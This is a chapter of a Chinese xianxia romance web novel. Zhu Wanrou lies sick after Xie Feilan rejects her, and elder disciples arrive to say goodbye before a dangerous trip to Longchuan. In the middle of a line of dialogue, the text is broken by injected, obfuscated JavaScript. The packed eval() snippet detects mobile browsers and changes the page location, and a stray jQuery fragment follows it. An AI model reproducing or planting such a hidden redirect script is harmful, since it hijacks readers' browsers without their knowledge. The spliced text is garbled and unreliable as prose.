丁巧薇小心翼翼地端着药碗坐到床边,舀了一勺药汤放到嘴边吹凉,递至半身倚靠在床头边的祝宛柔唇边:“温度刚好可以喝了。”
祝宛柔面色憔悴,唇色淡然。发丝如鸦羽凌乱地铺了满枕。因发烧的缘故,颧骨处透出两片不自然的绯色。衬着如雪的肌肤,反却艳丽得令人心惊。
她的长睫微颤,眸中潋滟着水色,透出疲惫和忧愁。呼吸声又轻又碎,仿佛将谢的海棠花瓣落在春江之上:“我可以自己喝。”
丁巧薇却不依道:“你高烧方退,全身都没力气,还是我来吧。”
祝宛柔确实浑身乏力,头重脚轻,连抬手都颇为艰难。她不好意思地垂下眼帘,轻声道:“谢谢。”说罢,她张开唇,将送到嘴边的药汤吞咽进喉。
药汤甚苦,祝宛柔不禁皱眉。眼见丁巧薇又舀了第二勺递来,祝宛柔不动声色地忍下苦楚,仍旧听话地配合喝药。
喂完药汤,丁巧薇拿出一包油纸摊开,将上面的蜜饯喂给祝宛柔:“我知道你怕苦,特意准备了这个。怎么样,不苦了吧?”
祝宛柔轻轻咬着嘴里的蜜饯,点头:“嗯,谢谢你,巧薇。”
“好友之间无须如此客气。”丁巧薇笑着笑着就耷拉起两道细眉,担心道:“好端端的你怎么突然病得这么严重?是修炼过于辛苦还是吃坏了什么东西?”
祝宛柔不欲提及:“没什么。”
“是不能跟我说的事么?”
祝宛柔闻言,眸海静视着丁巧薇关切担忧的脸庞。良久她才长长地叹了口气,面上越显苍白:“不过是心结罢了。”
“什么心结?”丁巧薇不由追问。静观祝宛柔那副伤心劳神的苦闷模样,丁巧薇骨碌着眼睛试探道:“是谢师兄吗?”
祝宛柔不语。
却已是默认。
“你竟向谢师兄表明心意了?”丁巧薇有些诧异地开口。随即又道:“是何时之事?”
“……不久之前。”祝宛柔有些后悔说了出口。否则不会被谢斐岚那样拒绝,半点机会希望都没留下。
哪怕她病到至今,都没来看过她。
“那你……”
“谢师兄拒绝我了。”
“你对他那么好,他怎会拒绝你?而且他还送了你蚀精镯当定情信物。”丁巧薇十分不解。
自打她认识谢斐岚起就从未见过谢斐岚送东西给别人,却唯独送了一个镯子给祝宛柔。这还不能说明祝宛柔是他特别的人吗?
蚀精镯并非含有丁巧薇所说的那种意思,祝宛柔却不想多作解释:“不提他也罢。你来这里帮忙照顾我,小师叔没关系吗?”
丁巧薇也觉得自己太神经大条了。不管怎么说,祝宛柔都被谢斐岚拒绝了,她怎么还一直在祝宛柔伤口上撒盐?
“师尊还在研究如何炼制上池玉心丹,也不许我插手,我自然得了空。阿柔,没关系。兴许谢师兄有自己的难处才会拒绝你。我会帮你在他耳边说好话,说不定他就改变主意了。”
祝宛柔听罢,愁肠百转间想到了什么,她蹙眉摇头,淡色的唇微颤,欲言又止。
见状,丁巧薇问她:“怎么了?”
“……他不会改变主意的。”
“你如何笃定?”
祝宛柔抬眸,水色潋艳的瞳中满是哀绪:“他亲口对我说,他倾心之人是大师叔。”
丁巧薇倏然起身,双眼瞪直,震惊诧然的模样映入祝宛柔瞳孔。她听到丁巧薇惊讶得磕磕巴巴的声音:“怎、怎、怎么可能?三师伯是、是他师尊!!”
祝宛柔没有回话,只是依旧哀郁地静静凝视她。
丁巧薇的脑子有些转不过来:“这、这真是,真是……”她竟想不到用什么词句来形容,话就一直顿在那里。
她知道谢斐岚对叶惊水很执着。她以为那仅仅是对师父的敬重倾慕之情,完全没想过会是另一种意义上的思慕。
柳开意开朗的声音就这样不合时宜地出现在门口:“真是什么?”
丁巧薇和祝宛柔同时往他身上瞧去。发现除了他之外,身边还跟着叶惊水。
刚才还说着叶惊水,叶惊水就来了。
丁巧薇的面色非常不自然。她不知所措地慌张道:“没、没、没什么。……对,我是见祝宛柔难受,在想办法逗她开心。”
祝宛柔却不像丁巧薇那么慌张。她仍旧安静地倚在床边,无神地望着柳开意和叶惊水,声若蚊嗡地叫人:“大师叔,大师兄,你们来了。”
柳开意经过丁巧薇身边,抬手往她头上轻轻敲了一下:“阿柔需要静养,别太吵闹了。”言毕,已经越过她,伸手探向祝宛柔额头:“烧似乎是退了。身体觉得如何?”
柳开意动作自然又过于亲昵,祝宛柔的脸不自然地又红了一片:“多谢大师兄关心。刚喝过药,好些了。”
柳开意心疼地望着她神郁气悴的脸,柔声道:“心事郁结不利于病情。”
“我明白。”
叶惊水这时也近到祝宛柔床边。瞧着这么一个可人儿被病痛折磨得如此憔悴瘦弱,心疼又爱怜:“宛柔,我才听闻你生病,是否好些了?方才开意说你有心事,不妨也与我说说?”
丁巧薇更慌张了。想上前说些什么转移话题,又一时嘴拙想不到说什么——祝宛柔会生病的缘故正是与叶惊水有关。她这么一问,反倒像是猫哭耗子假慈悲。
可叶惊水也没有错。她什么都不知道,仅仅是出于对师侄的关心才开口询问。
相较之下,祝宛柔这个受伤的人反而比丁巧薇更冷静坦然:“大师叔有心,我已好转不少。你莫听大师兄妄言,我并无心事。”
叶惊水相信了。她关切道:“那便好。若真有心事,我或可开解开解。”
柳开意听得祝宛柔对叶惊水说的话,知道祝宛柔是在尽量给自己体面,让自己看起来没那么悲惨。于是讪笑道:“三师叔的话听听便好。她那些道理,十之八/九是从话本里学来的。”
叶惊水语带愠色,玩笑道:“开意,你这么说可是相当小瞧你三师叔。”
柳开意却假装没注意到她的愠色,笑着对祝宛柔道:“我与三师叔除了来探望你之外,也是趁巧来跟你辞行。”说完又望向一旁呆愣的丁巧薇:“正好巧薇也在。”
祝宛柔困惑地看着柳开意,等着他的下文。
“我与三师叔要去陇川的秘境,兴许有段时日回不来。你们要好好保重身体,勤奋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17436024|198004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
修炼。”
一直处于混乱状态下的丁巧薇终于被他的话唤回神思:“陇川是圣冥宗所在之地,你……你们要去圣冥宗?!”
“没错。不仅是我们,其他宗派也会去。”
“那里一定很危险,必须要去吗?”
“掌门亲自下令,必须得去。”
丁巧薇忧心忡忡道:“我还记得演武大会时的惨状。圣冥宗的宗主那么厉害,你们这一去岂非羊入虎口,有去无回?”想了又想,丁巧薇继续道:“掌门怎么会下这样的命令?”
她颇有深意地望了叶惊水一眼,更是不解。
既然三师伯是谢师兄的心上人,他怎么舍得和忍心让三师伯涉险?
叶惊水也想不通。思来想去她能得出的答案只有一个——兴许他还在报复她。之前跟他说的那些话委实有些不近人情。他表面无所谓,说不定都偷偷记在心里。
“不管什么原因,结果都不会变。”柳开意道:“阿柔,我不在你身边,你要照顾好自己。”
说完又觉得自己这样的话语过于直白亲密,会让祝宛柔无所适从,还会让其他人瞧出端倪,给祝宛柔带去麻烦。他又跟着对丁巧薇说:“巧薇,你也一样。”
祝宛柔低下头,长睫遮掩双目,未发一语。
叶惊水安慰柳开意:“放心罢。有我在,定护好你的周全。哪怕身死,也必会将你送回来。”
“三师叔莫要胡说。你出了事,我也难辞其咎。”
见叶惊水和柳开意完全没有去龙潭虎穴的紧迫感和危机感,丁巧薇也不好继续说些丧气话,来灭自己人的威风。
仔细想想,谢斐岚不是那种胡乱命令,不考虑后果的人。他既然决定让叶惊水和柳开意前去,定是有他的考量和安排,或许也做好了让叶惊水和柳开意平安归来的准备。
一直未再言语的祝宛柔忽然开口道:“大师兄,我虽修为低微,亦想与你们同往。”
此言一出,三双眼睛难以置信地齐刷刷落在祝宛柔身上。
丁巧薇脱口道:“阿柔,你在说些什么?”
祝宛柔病态的脸上纵然苍白憔悴,目光却坦荡决然:“以往跟着大师兄去秘境历练,我们都不必担心遇到危险。可也因此进步缓慢,远远不及其它宗派的弟子。”
“既然陇川之行非去不可,我也想跟着去历练,磨砺自己。如今这副病体亦是磨练不足之故,还请大师叔和大师兄答应宛柔的请求。”
祝宛柔难得如此强硬坚决,柳开意一时不知该如何拒绝。
叶惊水劝道:“此行危险重重,尚不知能否活着回来。你是师姐爱徒,我不能让你冒险。”
“还请大师叔答应。”祝宛柔攀着床沿借力爬下床,作势要跪叶惊水。可身体没有力气,刚下地还没来得及屈膝便往一侧倒下。
柳开意急忙伸手扶住她:“阿柔!你这是在做什么?”
祝宛柔不得不靠在柳开意身上借力,声息凌乱,目中含泪地重复道:“还请大师叔答应!”
叶惊水何时见过祝宛柔这般执拗的模样?人都没力气了还一直哀求她。她一时心软,便只好道:“我答应你就是。可即便我答应,掌门和师姐却未必同意。”